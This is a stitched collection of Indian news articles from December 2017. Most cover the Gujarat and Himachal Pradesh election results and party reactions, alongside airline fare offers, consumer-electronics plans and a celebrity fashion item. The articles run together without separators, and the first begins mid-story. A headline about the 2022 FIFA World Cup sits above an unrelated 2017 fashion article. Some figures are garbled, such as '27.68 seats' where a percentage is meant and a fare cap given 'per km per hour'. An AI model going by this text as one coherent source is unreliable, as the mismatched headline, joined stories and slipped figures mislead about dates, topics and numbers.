Dabur India CFO Lalit Malik said: "In the short term, both demonetisation and GST impacted wholesale trade because of issues related to execution and led to a massive amount of destocking across the trade channel."

With the hurdles now history, the companies, especially electronic goods and appliances makers, are gearing up to bring innovative products to woo consumers to showrooms in 2018.

"In 2018, we will continue to bring industry first innovations for Indian consumers with an exciting line-up of future-ready products," said Rajeev Bhutani, Samsung India V- P, Consumer Electronics Business.

Samsung will kickstart 2018 with the world's first innovation in the AC segment that would take the consumer convenience and comfort to the next level, he claimed.

Likewise, Padmanabhan said Sony India will continue to roll out "technologically advanced products across categories in future and keep our customers engaged with Sony products".

Panasonic India is also not lagging in its plans for new products with a major transition in portfolio and positioning in the offing.

"We will strengthen as a comprehensive consumer electronics maker to offer solutions that fulfils the wishes of customers while improving our individual products," said Manish Sharma, Panasonic India and South Asia President and CEO.

When contacted, a spokesperson for LG India said, "Product leadership is the key and we will continue bringing newer technologies based on Indian consumer insights."

With the government pushing for domestic manufacturing, Sharma, who is also President of Consumer Electronics and Appliances Manufacturers Association (CEAMA), said the industry expects ratio of local manufacturing to increase, going forward.

"The industry acknowledges the pro-industry reforms undertaken by the government and is looking forward to the Phased Manufacturing Programme (PMP) policy in 2018, which in turn will boost indigenous manufacturing," he added.
New Delhi: Bringing holiday cheer to passengers, domestic airline major Indigo is offering flight tickets at dirt cheap rates.

Indigo is offering tickets starting at Rs 999 on select routes.

Many airlines in the country offer discounts around the New Year holiday season when the demand is very high. Such offers also attract customers who are travelling on shorter routes during the holiday season.

Here are some routes where air travellers can find Indigo tickets at absolute low prices

Delhi-Jaipur: Rs 999

Bagdogra-Guwahati: Rs 1005

Coimbatore-Chennai: Rs 1095

Jammu-Srinagar: Rs 1112

Chennai-Bengaluru: Rs 1120

Agatala-Guwahati: Rs 1130

Chennai-Coimbatore: Rs 1148

Kochi-Chennai: 1212

Vishakhapatnam-Hyderabad: Rs 1259

Patna-Kolkata: Rs 1264

(-Price quote sourced from www.goindigo.in)

There has been a heavy rush in demands after the government launched Regional Connectivity Scheme (RCS), also known as UDAN (Ude Desh Ka Aam Nagrik) with fares capped at Rs 2,500 km per hour of flight, and also improving air- connectivity to tier-2 and tier-3 cities.

The airlines that win rights to operate RCS flights are required to offer half of their seating capacity at discounted rates in return for which they get government subsidy.

A total of 141 initial proposals have been received from various players in the second round of bidding, the results of which are expected to be announced this month.
NEW DELHI: Renaming of Dyal Singh Evening College to Vande Mataram Mahavidyalaya has been put on hold, Union HRD Minister Prakash Javadekar said on Tuesday after an Akali Dal leader raised the issue in the Rajya Sabha.

The decision had sparked a controversy, prompting Akali Dal MP Naresh Gujral to raise the issue in parliament. Gujral had said in Rajya Sabha that To change the name of a minority institution (Dyal Singh College) was a direct assault on the feelings of Sikhs.

Clarifying the official stand, the HRD minister said it was not a government decision and his ministry has asked the people concerned to withhold it forthwith. We must ensure anyone's sentiments are not hurt. Creating unnecessary controversies by playing with emotions is wrong, Javadekar said in response to a statement from the Akali Dal leader in the Rajya Sabha.

The controversy erupted after the managing committee of the college announced to rename the evening college as Vande Mataram Mahavidyalaya. The college was established in 1959 under the control of Delhi University. It offers undergraduate and postgraduate courses in various disciplines.
NEW DELHI: Congress has been praising its newly-elected party president Rahul Gandhi over the performance of the party in the Gujarat and Himachal polls.

The party said that he worked well and humbly accepted defeat. "Rahul Gandhi campaigned with dignity and humbly accepted defeat after the results," Congress leader Anand Sharma said.

He also criticised the manner in which Prime Minister Narendra Modi and BJP campaigned for the polls. "PM and the entire cabinet was there. BJP campaigned at a scale which was never witnessed before. Still, their voting share went down by 11%, we gained 2/3rd majority in rural Gujarat including Saurashtra, though not much in urban area," he claimed.

Earlier in the day, Rahul had said that the results show that a question has been raised on Modi's credibility. "Questions have been raised on Modiji's credibility. His credibility is at stake," Rahul said.

Thanking the people of Gujarat for all the love, he said: "People of Gujarat gave me a lot of love. They taught me that any amount of anger and money cannot defeat love. Gujarat has given the message to Modiji and the BJP that this anger will not help them in any way," Rahul had said.
New Delhi: Cold wave conditions in most parts of northern India continue to play havoc with railway schedule, with several trains running late or being cancelled.

Foggy conditions in most parts of northern Indian plains have resulted in low visibility. This has caused as many as 28 late arrivals in New Delhi between Monday night and Tuesday early morning. Another three had to be diverted while 18 were cancelled.

Train delays due to fog has become a common occurrence in winter months and Indian Railways has long been promising to implement newer technologies to avoid such situations. In its latest effort, a new signalling system is all set to be tested on Delhi-Mumbai and Delhi-Kolkata routes. Media reports suggest that if these tests are successful, the system would be put into place on other routes as well - helping in monitoring train schedules and reducing time lost due to low visibility.

(With agency inputs)
New Delhi: Why has Delhi University not constructed a campus in the Najafgarh area in Southwest Delhi despite getting land for it 28 years ago?

This question was on Tuesday posed by the Delhi High Court to the varsity, Delhi Development Authority and the Centre.

A bench of Acting Chief Justice Gita Mittal and Justice C Hari Shankar said it was a "a sorry state of affairs" as the land was alloted in 1989 for lease for 99 years.

"28 years have gone, but the campus has not yet been constructed," it added.

The court issued notice to the land owning agency -- DDA - asking it to file a status report with regard to the letter written to it by the DU asking for land to build a road near the campus.

The court fixed the matter for further hearing on January 22 next year.

It also sought response of the Delhi government on the issue before the next date of hearing.

The matter was brought to the court's attention through a PIL filed by the Najafgarh Senior Citizens Association which has claimed that the youths of the area do not have easy access to quality education and have to commute long distances to North and South Campuses of the university for it.

The association has sought directions to the varsity and the two governments to set up colleges and a campus in the area.

The PIL has also sought setting up of a committee to look into establishing colleges and campus in village Roshanpura of Najafgarh in South West Delhi where the land was allotted to DU.

According to the petitioner association, the land was given on lease in 1989 for 99 years, but till date only a boundary wall has been built around it.
FIFA World Cup 2022 Qatar: Cristiano Ronaldo to Lionel Messi, stars likely to play their last WC
By India Today Web Desk: When it comes to fashion, Divyanka Tripathi is not the most stable celeb. While some of her looks have been absolutely gorgeous in the past, some others have just left her fans and followers in a tizzy because of how jarring they were. Take the white saree-gown she wore for Zee Rishtey Awards recently, or the tacky blue gown she wore to host an award function recently, for instance.

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While Divyanka has given us more fashion duds than hits , the way she showed up at the celebratory party for Kumkum Bhagya completing 1000 episodes has us a bit baffled.

While the dress by itself is rather cute--especially with the so-in-vogue cold shoulders--and the velvet tie-up shoes she wore with it are very appropriate for the weather, it's the occasion that she's chosen the dress for that's a bit inappropriate.

Photo: Yogen Shah

At a part as big as that, a little bit of dressing up might've helped Divyanka gel in better. While we love the fact that she chose comfort over all else, another occasion would've probably been better suited for the dress.

The real mind-boggler, however, is what's written on Divyanka's dress. Can you figure it out? Here, let's take a closer look. How about now?

Can you read what's written on her dress? Photo: Yogen Shah Can you read what's written on her dress? Photo: Yogen Shah

In case you still haven't figured it out, thanks to that smart imprint, her dress has the words 'Superdry Paris New York London Superdry' embossed on it.

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New Delhi: Customers will no longer have to pay flat Rs 3000 for cancellation of their domestic flight tickets as the airline industry has revised its ticket cancellation fee structure.

The change comes after the civil aviation regulator -- the Directorate General of Civil Aviation (DGCA) -- wrote to the airlines on the issue.

Domestic airlines earlier userd to charge fixed levy amount of Rs 3,000 for cancelling tickets.

Airlines will now charge the base fare plus fuel surcharge or Rs 3,000 per passenger, whichever is lower.

This move is expected to bring respite to flyers especially to those who book their tickets well in advance in order to get cheaper prices.

Aiming at making flying affordable to the masses the government has launched Regional Connectivity Scheme (RCS), also known as UDAN (Ude Desh Ka Aam Nagrik) with fares capped at Rs 2,500 km per hour of flight, and also improving air- connectivity to tier-2 and tier-3 cities.

The airlines that win rights to operate RCS flights are required to offer half of their seating capacity at discounted rates in return for which they get government subsidy.
The Gujarat elections brought Bharatiya Janata Party back to power in the state for the sixth time in a row. The BJP won 99 seats in the 182-member assembly while the Congress won 77 seats.

It is the first time in 22 years that the BJP has ruled Gujarat that its tally has fallen below 99. In the 2012 elections, the BJP had won 115 seats while the Congress had won 61 seats.

Here are some striking takeaways from Gujarat election results:

1 Biggest victory margin:

The Ghatlodia seat in Gujarat saw a victory margin 1,17,750 votes. BJP leader Patel Bhupendrabhai Rajnikant won 1,75,652 votes defeating his nearest rival from Congress Patel Shashikant who got 57,902 votes.

2 Smallest victory margin:

On the Kaprada seat in Gujarat, Congress candidate Jitubhai Harjibhai Chaudhari won with a very slim margin of 170 votes. He defeated the BJPs Madhubhai Bapubhai Raut. Chaudhari bagged 93,000 votes while Raut won 92,830 votes.

3 NOTA emerges third largest vote getter

Over 5.5 lakh voters opted for the NOTA (none of the above) button in the polls. In Chief Minister Vijay Rupani's Rajkot West seat, the NOTA votes were more than 3,300, while the same in Vadgam (where Congress-supported independent Jignesh Mevani won) were over 4,200. In Godhra also, NOTA counted over 3,000. In percentage terms, 1.8 percent voters in Gujarat pressed the NOTA button.

4. Victory margin of less than 1,000

There was a close contest in at least seven seats in Gujarat with a victory margin of less than 1000 votes. In Botad the BJP won by 906 votes; In Mansa, Congress won by 524 votes; In Kaprada, Congress won by 170 votes; In Dangs, Congress won by 768 votes; In Deodar, Congress won by 972 votes; In Dholka, Congress won by 327 votes; In Godhra, BJP won by 258 votes.

5 Bharatiya Tribal Party opens account

The Bharatiya Tribal Party (BTP) was launched less than a month back. But it has managed to win two seats in the 2017 Gujarat polls. The party's founder Chhotubhai Vasava, a well-known tribal leader, won with a margin of 48,948 votes defeating BJP's Ravjibhai Ishvarbhai Vasava.

6. BJP ministers who lost to Congress candidates

Five BJP ministers lost the Assembly polls to Congress candidates. The ministers who lost are Parmar from Gadhada (SC) seat and Sapariya in Jamjodhpur constituency. Shankar Chaudhary, Keshaji Chauhan, and Shabdsharan Tadvi also failed to retain their respective seats in Vav, Deodar, and Nandod.

7. BJP wins lesser votes than 2012 but vote share increased

The BJP won 99 seats, way less than its figure in 2012, but the party managed to raise its vote share to its second highest ever. Its vote share rose from 47.85% to 49.1%.

8. Congress vote share also increased

The Congress won 61 seats in 2012 and got a vote share of 39 per cent. It won 41.4 per cent of the votes in 2017 and got 77 seats.

9. Voters in 2017 were 84 lakh lesser than 2012

The number of people who voted dropped by almost 84 lakh as compared to those in the 2012 polls.

10. The importance of Ahmedabad

The party which wins in Ahmedabad, wins the overall state. This is a tradition that is being followed since the state was forced in 1962. From 1962 to 1985 elections, the seat was won by Congress and the party was in power too. From 1990, it is the BJP which is winning the seat and has been the ruling party in the state too.
NEW DELHI: The BJP beat anti-incumbency to win the assembly election in Gujarat for the sixth consecutive time. But the party seems to have gotten by primarily because of the state's urban centres, where it won more than two-thirds of its total seat tally.

In the districts that hold the five largest urban areas, the BJP won a mind-boggling 68 out of 70 seats, a strike rate of 97.14 percent. Put in the context of the 182-seat Gujarat Assembly, that is 37.36 percent.

But here is how Gujarat's urban centres powered the BJP back into government - the 68 seats the BJP won in these places account for a whopping 68.69 percent of its entire tally.

Of the 70 seats in the districts of Gandhinagar, Ahmedabad, Vadodara, Surat, Rajkot and Bhavnagar, the BJP only lost one seat each in Gandhinagar and Surat.

The adjoining districts of Ahmedabad and Gandhinagar returned 25 out of 26 seats to the BJP. The only seat here that didn't go to the ruling party was Dehgam in Gandhinagar District.

The only other urban seat that the BJP did not win was Katargam in Surat District. Vadodara (13 seats), Rajkot (8 seats) and Bhavnagar (7 seats) all voted unanimously for the BJP.

In the other 112 seats that are in rural or semi-rural districts, the BJP only won 31 seats. That's a mere 27.68 seats.

To put that in perspective, the Congress won only 2.86 percent of the urban seats, but romped home in 69.64 percent of the rural seats.

These numbers hold a clear truth. The BJP's rise in vote share by 1.25 percentage points was solely because of the huge margins of victory in the urban seats.

This could hold repercussions for the BJP in coming elections in predominantly rural states like Madhya Pradesh or Chhattisgarh, which go to the polls in 2018.

he clear urban-rural divide in the results of the Gujarat elections are a reflection of the discontent that the BJP has had to face from various community groups, from the Patidars, Dalits and OBCs to farming and agrarian communities.

It does however underline the resilience of its messaging to urban voters, who have affirmed their lack of confidence in the Congress to take care of their needs. This is perhaps no clearer in Surat, which witnessed huge protests against the rollout of GST.

But neither of the possible economic pain points - GST or demonetisation - seemed hurtful enough to hand defeats to the BJP in the urban areas, which are home to concentrations of Gujarat's powerful business communities.
Ahmedabad: Though people turned up in large numbers to attend Patidar leader Hardik Patel's anti-BJP rallies in the cities of Gujarat, they ended up voting for the saffron party, which won nearly one-third of their total of 99 seats from eight major cities in the state.

Patel had supported the Congress in the polls.

Though there was a minor dent of two seats in its urban seat tally in comparison to 2012, the BJP managed to retain the support of most of its urban voters.

On the other hand, rural voters put more trust on the Congress, which improved its rural tally significantly.

Out of the total 42 urban seats in Gujarat, the BJP won 36, while six went to the Congress. In 2012, the BJP's urban tally was 38 while the Congress bagged four seats - two in Ahmedabad and one each in Rajkot and Jamnagar city.

The 42 seats are spread across eight major cities with a municipal corporation.

In Ahmedabad city, which has 16 seats, the BJP won 12, and the Congress, four. In 2012, the tally was 14 and two respectively. Apart from retaining the Dariyapur and Danilimda(SC) seats, the Congress emerged victorious from Bapunagar and Jamalpur-Khadia this time.

The two parties won a seat each in Gandhinagar city, while Junagadh city's one seat, earlier held by the BJP, went to the Congress.

Barring these cities, the BJP made a clean sweep in the other mega urban areas.

It won all the three seats of Rajkot, both the seats of Jamnagar, the two urban seats of Bhavnagar, all the five seats of Vadodara city and all 11 seats of Surat city.

On the other hand, the BJP lost its grip on rural areas, where voters gave a thumbs up to the Congress.

Poll results show the BJP lost 14 rural seats while the opposition added the same number of seats to its tally.

In 2012, the Congress had won 57 seats in the rural areas, while the BJP had bagged 77 seats.

Though the BJP was banking on the issue of the completion of the Narmada dam and the ensuing positive effects on rural Gujarat, the results showed that voters drifted towards the Congress, whom the BJP blamed for delaying the project.

The Congress's total shot up to 71 from the 57 it had won five years ago, marking an increase of 14 seats in rural Gujarat, where there are 140 seats.

The BJP's tally from the region was reduced from 77 in 2012 to 63, a drop of 14 seats.

BJP candidates in Amreli, Gir Somnath and Morbi districts, with large rural populations, could not win a single seat.

The BJP managed to retain power in Gujarat, the home state of Prime Minister Narendra Modi, by winning 99 seats in the 182-member Assembly.
Himachal Pradesh Chief Minister Virbhadra Singh on Tuesday called on Governor Acharya Devvrat at Raj Bhavan and tendered his resignation. Along with his own, he also submitted the resignation of his Council of Ministers.

The Governor accepted the resignation and requested him and his ministers to continue in office till an alternative arrangement is made or the new government takes charge.

The resignation comes a day after the Bharatiya Janata Party (BJP) bagged 44 seats, falling short of a two-thirds majority by two seats in the 68-member house.

The BJP, which had won 26 seats in 2012, recorded a 10 per cent jump in vote share that touched 48.7 per cent.

The Congress bagged 21 seats. The ruling party had 36 seats earlier, and its vote share declined by 1 percentage point to 41.8 per cent. The CPI-M bagged one seat while two seats were won by Independent candidates.

However, in a disapointment for the BJP, its chief ministerial candidate in the hill state, Prem Kumar Dhumal, lost to Congress' Rajinder Rana in Sujanpur. Dhumal changed his traditional constituency of Hamirpur.

He was made the CM face only nine days before the polling. The state has a tradition of a change in the government every election.
A quick glance at the top news of the day:

1. These are the 4 reasons why Centre says terrorism is down in Kashmir

Incidents of terror attacks have decreased in Jammu and Kashmir and other parts of the country in 2017, and four reasons have played a key role, the Union Ministry of Home Affairs said on Tuesday. The factors are demonetisation, NIA investigation, killing of top terrorists and the efforts by Kashmir interlocutor Dineshwar Sharma, it said. Read full report

2. Who will be the next Gujarat CM? Here are the top contenders

The BJP, which managed to retain Gujarat for a record sixth time after a keenly contested assembly elections, is reportedly considering to replace the incumbent Chief Minister Vijay Rupani, despite his victory from the Rajkot West seat, with UnionTextiles and Information & Broadcasting (I&B) Minister Smriti Irani. Read full report

3. Congress asks Centre why FIR wasn't filed against 'conspirator' Manmohan Singh

Hitting out at the government, Congress leader Mallikarjun Kharge on Tuesday questioned as to why the Centre has not registered an FIR against former prime minister Manmohan Singh if it believed that he had conspired with Pakistan for winning the Gujarat elections. Read full report

4. Rajasthan local bypoll results: Congress wins all 4 Zila Parishad seats, 16 panchayat seats

The Congress on Tuesday won performed well in local body elections in 26 districts of Rajasthan. The party won on 27 seats while the Bharatiya Janata Party (BJP) won on 17 seats. The elections were held for Zila Parishad, Panchayat and municipal wards seats in both rural and urban areas of Rajasthan. Read full report

5. Taimur Ali Khan's first birthday: We bet you don't wanna miss these pics from Pataudi Palace

Kareena Kapoor and Saif Ali Khan's adorable munchkin Taimur Ali Khan is turning a year old on December 20 and just as he completes one year of awesomeness, the entire Kapoor clan is celebrating the bid day at Pataudi Palace. Read full report
JAIPUR: Even as Sanjay Leela Bhansali's "Padmavati" continues to be a touchy topic, the BJP government in Rajasthan is planning to install a nine-feet-tall statue of the Chittor queen in Udaipur to cash in on the Rajput vote bank in the state.

According to informed sources, state Home Minister Gulabchand Kataria had organized a quick meeting with the sculptor in November. He was directed to finish the project at the earliest.

The statue, being designed in Jaipur, would be ready in five-to-six months in which Queen Padmavati would be shown walking towards performing the "jauhar", or mass self-immolation.

In 2016, the Vasundhara Raje government had issued orders for the construction of statues of famous Rajput personalities, including Panna Tai, Rana Kumbha, Bappa Rawalji, Kesari Singh and Vijay Singh Pathik, the sources confirmed.

The project was hanging in the balance as no follow-up direction was issued.

Now, in the wake of a national storm over the "Padmavati" film, the government has set out to gain political mileage from the issue, they said.

The scheduled release of the Deepika Padukone, Ranveer Singh and Shahid Kapur-starrer "Padmavati" was deferred after protests broke out in several places, including Rajasthan, Madhya Pradesh and Gujarat, demanding a ban on the film for "distorting historical facts".

The film was earlier scheduled to release on December 1.
Chandigarh: With reports of Sikhs in Pakistan's 'being forced to convert to Islam', Punjab Chief Minister Captain Amarinder Singh has requested External Affairs Minister Sushma Swaraj to take up the matter with Pakistani authorities.

Tweeting about it, Singh wrote, Request @SushmaSwaraj ji to take up this issue with Pakistan. We cannot allow the Sikh community to be victimised in such a manner. Its our duty to help protect the Sikh identity and the @MEAIndia should pursue the matter at the highest levels.

Within hours, Swaraj tweeted back. "We will take this up at the highest level with Government of Pakistan," she wrote.

The Sikh community in Hangu district of Khyber-Pakhtunkhwa province, Pakistan, alleged that they were 'being forced to convert to Islam' by government officials.

The Chief Minister also wrote a letter on the subject to Swaraj.

The Indian government is duty-bound to ensure that Sikhs in any part of the world are not victimized or coerced in any manner, wrote Singh in the letter. We are duty-bound to protect the identity of Sikhs, wherever they (Sikhs) may be living.

Pointing out that the community, which had been living in the area for more than a century, was reported to have filed an official complaint to the district deputy commissioner, Captain Amarinder said it was a serious issue, especially considering that the forced conversions were allegedly being spearheaded by a government official.

Religious freedom is the right of every human being and should be upheld by all countries in the larger interest of humanity, he added.
New Delhi: Citing a shortage of IAS bureaucrats at the middle-level, the Narendra Modi government has asked all states to spare more officers for central deputation, according to an official communique.

A total of 493 posts out of 1,051 ones earmarked for IAS officers on central deputation are filled, leaving a vacancy of 558 or about 54 per cent.

In a letter to all states, the Department of Personnel and Training (DoPT) said the movement of the officers from states to the Centre and back is crucial for building capabilities at the state-level and contributing towards developing national perspectives at the decision-making levels in the government of India.

"It would, therefore, be appropriate considering the fact that there is general shortage of IAS officers at Deputy Secretary/Director level, if a conscious attempt is made while forwarding the names of the officers, so as to share the shortage proportionately between the Centre and the states and also that every eligible officer has an opportunity to serve at the Centre at least once at the middle management level," it said.

Referring to the Central Deputation Reserve (CDR), which determines the extent to which officers could be sent on deputation to the government of India, it asked all the state cadres to nominate eligible officers for Central Staffing Scheme (CSS) or on central deputation.

"The middle level comprising deputy secretary and director level officers is a crucial decision making level in bureaucracy. The shortage of officers may affect governance," a senior officer said.

However, he clarified, there is a general shortage of such officers at the Centre and the deficiency mentioned in the DoPT letter talks about vacancies in all positions.

West Bengal has deputed 11 of 56 IAS officers, Uttar Pradesh has allowed 50 officers of 121 and Gujarat has sent 19 of 51 officers on central deputation, the letter said, referring to the deficiency.

BJP-ruled Madhya Pradesh has deputed 25 IAS officers out of the CDR of 75, Chhattisgarh has sent only five bureaucrats out of 31 and Haryana has sent 12 officers out of permissible strength of 31, it said.

Similarly, 19 IAS officers out of the authorised central deputation reserve of 35 are working with the Centre.

In Arunachal Pradesh-Goa-Mizoram and Union Territory or AGMUT cadre, 42 IAS officers are on central deputation against the authorised limit of 56.

A total of 38 officers of Assam-Meghalaya cadre, 36 from Bihar and 22 from Himachal Pradesh are working at the Centre against the authorised CDR of 45, 48 and 26 respectively.

As many as 11 IAS officers of Jammu and Kashmir cadre (out of 19), 10 of Jharkhand (against 28), 19 of Karnataka (against 44) and 20 of Maharashtra (out of 65) are deputed at the Centre.

A total of 32 IAS officers of Kerala cadre are at present working at the Centre, two more than the desired central deputation reserve, according to the letter.

The status of IAS officers on central deputation is comparatively slightly better in north eastern states. A total of 12 IAS officers of Manipur cadre, eight of Nagaland, four of Sikkim and 10 of Tripura are on central deputation against the authorised positions of 18, 15, eight and 15 respectively.

As many as 18 IAS officers of Odisha (against authorised CDR of 40), 15 bureaucrats of Punjab (out of 39), 13 of Rajasthan (against 50), 24 of Tamil Nadu(out of 65), 11 of Telangana (against 21) and seven of Uttarakhand (out of 19) are working on central deputation.
NEW DELHI: Hitting out at the government, Congress leader Mallikarjun Kharge on Tuesday questioned as to why the Centre has not registered an FIR against former prime minister Manmohan Singh if it believed that he had conspired with Pakistan for winning the Gujarat elections.

"Was the central government sleeping When Dr. Manmohan Singh was conspiring with Pakistan in a meeting in Delhi? Don't they have intelligence unit? Why have they not registered a case in this regard till now? It was just a lie for election campaign," he said.

The Congress leader further said that this was 'just a lie for election campaign'. Claiming the statement false, Kharge said that such a comment has undermined the image of the nation.

He sought the Prime Minister's apology and said, "He should either apologise or give proof of his statement. He should either prove that these people are traitors or well-wishers of the nation."

During a rally in Gujarat, the prime minister had claimed that Manmohan Singh, Congress leader Mani Shankar Aiyar former vice president Hamid Ansari had attended a secret meeting at Aiyar's residence in Delhi in which the Pakistani envoy and a foreign minister of Pakistan had also participated.

"The meeting had run for three hours and the next day, Aiyar called me "Neech" (low-born)," the prime minister said.

(With inputs from agencies)
In an exclusive interview with TV Today's Managing Editor Rahul Kanwal, senior Congress leader Ahmed Patel speaks about what Congress has learned from the second phase election results in Gujarat.

By Rahul Kanwal: With Congress having given the BJP tough competition in the second phase of the Assembly elections in Gujarat, senior Congress leader Ahmed Patel told India Today that there were a number of pointers that the party took away from these polls.

When asked if his Rajya Sabha election spurred the Congress back into contention and that the party has woken up and come back to life, Patel emphasized that the Congress was always active in Gujarat but the party workers were encouraged even further after his election.

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On Rahul Gandhi's journey in politics, Patel said that during the Gujarat election campaign he could see a lot of change in the Congress party president. "He is very frank, very social with the ordinary workers."

BJP may have won the battle but not the war. It is defeat of their overconfidence and arrogance- Ahmed Patel (@ahmedpatel) December 18, 2017

Regarding his name being flung around in the election battlefield that was Gujarat, Patel gave a tongue-in-cheek reply and said this was not just the work of certain miscreants.

He said it was "a (particular) political party" that had "a lot of love and affection" for him that put forward his name as the next Chief Minister of Gujarat had Congress won the Gujarat Assembly Elections this year.

"This time they used some ex-Army personnel's tweet as if they want Ahmed Patel as Chief Minister. They (the BJP) were clearly frustrated and they wanted to polarize this election."

Patel said that after the first phase of polls, the BJP could "smell" they were going to be defeated which is why they resorted to a variety of tricks, gimmicks and dirty politics in the second phase polls.

I thank Rahul ji, our Congress workers and supporters for giving a spirited fight amidst a hostile state machinery & massive money and muscle power. I am grateful to the people of Gujarat for showing so much of love and affection for the party- Ahmed Patel (@ahmedpatel) December 18, 2017

He said the BJP went all out during its campaign in the second phase. He said they even used a seaplane, government machinery, administration, spent a lot of money and liquor to attract the people.

When asked if Congress spent too much time playing the blame game rather than speaking about the development the party would bring should it have come to power, Patel said that in the past, there wasn't enough interaction with people of the urban areas.

He said that this time Rahul Gandhi spent a lot of time interacting with people of these areas. "But, this is not enough. We will have to do more in the urban areas," he added.

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Responding to a question on whether Rahul Gandhi would be the 24/7 neta that the people want, Patel said that now that he has become the party president, he would give a lot more time to the party as well as the people.

Patel said the recently-inducted Congress president has enough experience and it was only the BJP's propaganda to try and create a perception that maybe he wasn't ready.

Patel said that Congress could have done more ahead of the elections. He said there should have been better booth management and door-to-door campaigning. He added that work could have also started much earlier.

He added that undecided voters were influenced by RSS workers working in villages and that they indulged in polarisation, especially in rural areas.

Ending on a positive outlook for the Congress, Patel said that Gujarat has proved that the BJP can be defeated.

--- ENDS ---
New Delhi: After the defeat in Gujarat Assembly elections, the Congress said that it had brought the BJP "to its knees" by restricting it to less than 100 seats in the state.



The Congress also termed the election results a "moral victory" for the party and said it showed a "mirror of truth to those who are arrogant".



AICC General Secretary in-charge of Gujarat Ashok Gehlot had said on Monday that the Gujarat results were neither BJP`s victory nor Congress` defeat.



"I feel this is a victory of our issue-based campaign. We see the results that way. No matter who forms the government, this is a moral victory for the Congress," he had said.



"In Prime Minister Narendra Modi and BJP President Amit Shah`s own state, they have been brought down to their knees. Gujarat election results will have its impact in other states like Karnataka, Madhya Pradesh, Chhattisgarh and others," Gehlot had added.



The social media users trolled the Congress for the 'moral victory' comment. Following are some of the reactions on Twitter:

My annual Medical insurance payment was about to go wasted, but then I luckily I got sick recently for a week and was hospitalized. At least, I got to use some of the premium! #MoralVictory  BharatPremi (@Indialover2013) December 19, 2017

Lost a badminton game yesterday but snatched the mic from announcer and quickly claimed a #MoralVictory before anyone understood anything and rushed home  Pradeep (@thotventure) December 19, 2017

Moral of the Victory: A donkey made friendship with three dogs to save himself from a lion! The lion came, finished all of them & returned. #MoralVictory  VijayUKateja (@VijKat) December 19, 2017

I failed six times in a class, I decided to blame examiner & sit at my fore father's business #MoralVictory of  @OfficeOfRG https://t.co/UDnTyuVXQw  Surgical Sandeep (@samgold21) December 19, 2017

My friend & I fought for a masala dosa in a hotel once. He won and suffered a lot of burps. I paid the bill and felt good over the #MoralVictory https://t.co/UcqBgTmooB  Hariprasad (@pranasutra) December 19, 2017

Congress spokesperson Randeep Singh Surjewala had also said that the results had been able to "show a mirror of truth to people with arrogance", referring to BJP.



"On one hand they are on 99, and on the other, we have won around 83-84 (along with allies). This is clear that Rahul Gandhi ji and Congress have been able to restrict them to below 100. On behalf of Rahulji and Congress, we congratulate the people of Gujarat and Himachal Pradesh. BJP won by a whisker in Gujarat. We will bring them back to the issues of development from trying to divert attention. We will keep fighting on the issues of people and their aspirations," he had said.

Did not get into IITs but became an engineer nonetheless #moralvictoryhttps://t.co/DrPcKEwesK  Thought Gun (@ShootinThoughts) December 19, 2017

Another #MoralVictory...



Recently, I ran a half marathon. I was one of the few who finished the last! But I ran for the longest duration. That showed my endurance to be better than the ones who finished earlier!  BharatPremi (@Indialover2013) December 19, 2017

The wife ordered to clean kitchen. I left the platform uncleaned. :) #MoralVictory  Apurva Gohil (@apurvagohil) December 19, 2017

I couldt attend my own marriage but I called my to be wife and congratulated her thats my #MoralVictory  simple_funda (@funda_simple) December 19, 2017

Rahul Gandhi is that rich kid who just need to get 35% marks to run his family business but fails repeatedly.

Narendra Modi is that poor kid who need to get 99% every time to survive.



RETWEET if you agree!



#GujaratVerdict #ElectionResults #GujaratResults December 18, 2017

On the other hand, Congress president Rahul Gandhi on Tuesday said the Gujarat election results raise questions about Prime Minister Narendra Modi's credibility after he led the BJP to a narrow victory in the state.

He also hit out at 'Gujarat model of development', describing it as "good propaganda" and marketing, but "hollow from within".

"I came to know there that people of Gujarat actually do not accept Modi ji's model," the Congress president said.

The BJP won 99 seats in the 182-member Assembly, down from 115 it won in 2012 and far lower than the 150-plus seats it had hoped for. It is also the first time in 22 years that the BJP has ruled Gujarat that its tally has fallen below 99.

The Congress won 77 seats, up by 16 seats.

(With IANS and PTI inputs)
Jammu: Veteran National Conference leader Farooq Abdullah on Tuesday gave a piece of advice to Congress and said that the party would have won assembly elections in Gujarat if some of its members would not have said wrong things in the run-up to the polls.

''Not taking names but if some people wouldn't have said certain wrong things, Congress would have won in Gujarat,'' former J&K CM Farooq Abdullah said.

However, the NC patron praised Congress for putting up a good show in Gujarat.

''They managed a good show there,'' he added.

Referring to Congress party's defeat in Himachal Pradesh, Abdullah said that it was a regular pattern in the hill state.

''In Himachal Pradesh, one party unseats the other every five years, it's is nothing new,'' the VC patron said.

In #HimachalPradesh one party unseats the other every five years, its is nothing new. Not taking names but if some people wouldn't have said certain wrong things Congress would have won in #Gujarat, they managed a good show there: Former J&K CM Farooq Abdullah pic.twitter.com/T3jllcc9ae  ANI (@ANI) December 19, 2017

On being asked if a conspiracy to defeat PM Modi in elections was made in Pakistan, Abdullah said, ''He himself went to Pakistan.''

''Pakistan never hatches any conspiracies,'' he added.

#WATCH: On being asked if a conspiracy to defeat PM Modi in elections was made in Pakistan, Farooq Abdullah says, 'he himself went to Pakistan,' adds that, 'Pakistan koi saazish nahi karta.' pic.twitter.com/HGw94ltzuX  ANI (@ANI) December 19, 2017

The reactions from Abdullah came a day after the results of the hotly contested assembly elections held in Gujarat and Himachal Pradesh were declared.

The Narendra Modi-powered BJP won the elections in Gujarat, where it bagged 99 seats - much less than the 115 it had won in 2012  and 44 seats in Himachal Pradesh where ruling Congress was ousted from power.

Overcoming initial setbacks in a seesaw battle, the BJP finally bagged 99 seats, seven more than the magic figure of 92 in a House of 182. Putting up an improved performance, the Congress secured 77 seats while its allies got three more.

The NCP, which fought alone, got a lone seat, and Independents got two.

In contrast, Himachal Pradesh lived up to its reputation of changing the ruler every election, as the BJP comfortably beat Congress, winning 44 of the 68 seats that were up for grabs. The Congress won 21 in the hill state where it had previously held 36 seats. Two seats went to Independents and a lone seat was taken by CPI-M.

Prime Minister Narendra Modi, who put up an aggressive campaign in Gujarat, camping in his home state for days, described the BJP's electoral victory in the state as "historic" as "in this age for a party to keep winning for so long" is unheard of.

In his victory speech at BJP Headquarters in Delhi, Modi said the support for the party showed that "the nation is ready for reform agenda as every citizen wants India transformed".

"I bow to the people of Gujarat and Himachal Pradesh for their affection and trust in the BJP. I assure them that we will leave no stone unturned in furthering the development journey of these states and serve the people tirelessly." In a message to his opponents, he said "let bygones be bygones" in a reference to the coming together of leaders heading caste formations to ally with Congress, to build a new Gujarat.

